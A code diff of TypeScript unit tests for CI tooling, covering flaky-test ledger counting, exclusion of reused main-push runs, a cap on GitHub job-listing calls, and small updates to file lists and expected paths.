const recent = Array.from({ length: 45 }, (_, i) => run(200 + i, { created_at: day(1 + i * 0.1) }));
const older = Array.from({ length: 10 }, (_, i) => run(300 + i, { created_at: day(10 + i) }));
const client = reuseClient([...recent, ...older], id => (id === 200 || id === 203 ? 'flaky' : id < 300 && (id - 200) % 3 !== 0 ? 'reused' : 'real'));
const window = readCiFlakeLedgers({ client, repo: 'o/r', sinceDays: 7, now: NOW, cacheDir: tmp('health-cache-') });
expect(window).toMatchObject({ runs: 20, flakyRuns: 2, skipped: 30, enforceable: true, since: day(14),
files: [{ file: 'test/a.test.ts', flakyRuns: 2, rate: 0.1, failing: true }] });
expect(window.note).toBeUndefined();
expect(client.calls.filter(call => call.includes('/artifacts')).length).toBe(50);
expect(client.calls.filter(call => call.includes('/jobs')).length).toBe(30);
expect(flakeCheck(window)).toMatchObject({ status: 'fail', detail: 'test/a.test.ts: flaky in 2/20 main runs (10.0% > 5%); 30 reused main push(es) left out' });
});
test('the reuse check spends at most 40 job listings; past the cap or on a failed listing a run counts as before, and the report says so', () => {
// Value: protects=the reuse lookups stay bounded and fail toward the pre-#3725 count visibly; fails_when=lookups are uncapped, or a capped or failed lookup drops the run or stays silent; why_new=#3725 adds a per-run job listing; seam=GhClient fake; no_claim=none beyond protects
const runs = [...Array.from({ length: 20 }, (_, i) => run(400 + i, { created_at: day(1 + i * 0.1) })),
...Array.from({ length: 60 }, (_, i) => run(500 + i, { created_at: day(8 + i * 0.5) }))];
const kind = (id: number) => (id === 400 ? 'flaky' : id === 401 ? 'real' : 'reused');
const client = reuseClient(runs, kind);
const window = readCiFlakeLedgers({ client, repo: 'o/r', sinceDays: 7, now: NOW, cacheDir: tmp('health-cache-') });
expect(window).toMatchObject({ runs: 20, flakyRuns: 1, skipped: 40, enforceable: true, since: day(8 + 39 * 0.5),
files: [{ file: 'test/a.test.ts', rate: 0.05, failing: false }] });
expect(window.note).toBe('18 run(s) with no artifacts not checked for main-push reuse (cap of 40 job listings reached); counted as before #3725');
expect(client.calls.filter(call => call.includes('/jobs')).length).toBe(40);
expect(client.calls.filter(call => call.includes('/artifacts')).length).toBe(60);
expect(flakeCheck(window).detail).toBe('no file above 5% over 20 main runs; 40 reused main push(es) left out; ' + window.note);
const failing = reuseClient(runs, kind, () => { throw new Error('gh api failed: HTTP 502: Bad Gateway'); });
const unchecked = readCiFlakeLedgers({ client: failing, repo: 'o/r', sinceDays: 7, now: NOW, cacheDir: tmp('health-cache-') });
expect(unchecked).toMatchObject({ runs: 20, skipped: 0, since: day(1 + 19 * 0.1), files: [{ file: 'test/a.test.ts', rate: 0.05 }] });
expect(unchecked.note).toStartWith('18 run(s) with no artifacts not checked for main-push reuse (GitHub API server error');
});
test('the job-summary table names files, counts and shards', () => {
expect(formatFlakeSummary([])).toContain('None: every file passed on its first run.');
const table = formatFlakeSummary(parseFlakeLedger(ledger('test/a.test.ts') + ledger('test/a.test.ts') + ledger('test/b.test.ts')));
@@ -188,7 +234,7 @@ describe('collectHealth over recorded fixture data', () => {
{ id: 4, name: 'redispatch', conclusion: 'skipped', started_at: null, completed_at: null }] })],
[/workflows\/free-tests\.yml\/runs/, () => ({ workflow_runs: [run(60), run(61, { conclusion: 'failure' })] })],
[/runs\/60\/artifacts/, () => ({ artifacts: [{ id: 61, name: 'flake-ledger-2', size_in_bytes: 10 }] })],
[/runs\/61\/artifacts/, () => ({ artifacts: [] })],
[/runs\/61\/artifacts/, () => ({ artifacts: [{ id: 62, name: 'free-result-1', size_in_bytes: 10 }] })],
[/workflows\/windows-smoke\.yml\/runs/, () => ({ workflow_runs: windowsRuns })],
], {
11: { 'manifest.json': JSON.stringify({ prCoverage: { mode: 'full-fallback', e2e: ['gate-a', 'gate-b'], judges: ['judge-a'],
+1
View File
@@ -35,6 +35,7 @@ const HOOK_FILES = [
'lib/result-codes-budget.ts',
'lib/result-codes-eval.ts',
'lib/result-codes-plan.ts',
'lib/result-codes-autoplan.ts',
];
const SLUG = 'stop-hook-slug-test';
const BUDGET_MS = 2000;
+1 -1
View File
@@ -20,7 +20,7 @@ afterAll(() => fs.rmSync(SCRATCH, { recursive: true, force: true }));
const COPIED = ['scripts/ubicloud/pregate-remote.sh', 'bin/gstack-wtree', 'bin/gstack-path-spelling.sh',
'scripts/test-free-shards.ts', 'scripts/test-strict-output.ts', 'scripts/lib/shard-engine.ts', 'scripts/lib/free-home-guard.ts',
'scripts/lib/free-ci-health.ts', 'scripts/lib/windows-curation.ts', 'lib/state-root.ts', 'test/helpers/paid-test-set.ts',
'scripts/lib/free-ci-health.ts', 'scripts/lib/windows-curation.ts', 'scripts/lib/shard-jobs.ts', 'lib/state-root.ts', 'test/helpers/paid-test-set.ts',
'test/helpers/touchfiles.ts', 'test/helpers/touchfiles-data.ts', 'test/helpers/test-selection.ts'];
const TESTS: Record<string, string> = {
'test/alpha.test.ts': "import { expect, test } from 'bun:test';\ntest('alpha', () => { expect(1).toBe(1); });\n",
+1 -1
View File
@@ -94,7 +94,7 @@ describe('Writing Style preamble section', () => {
const fenceLine = out.split('\n').find(l => l.includes('gstack-skill-start" --skill'));
expect(fenceLine).toBeDefined();
expect(fenceLine).not.toMatch(/~\/\.claude\//);
expect(fenceLine).toContain('$GSTACK_BIN');
expect(fenceLine).toContain('$GSTACK_ROOT/bin/');
});
test('tier 1 preamble does NOT include Writing Style section', () => {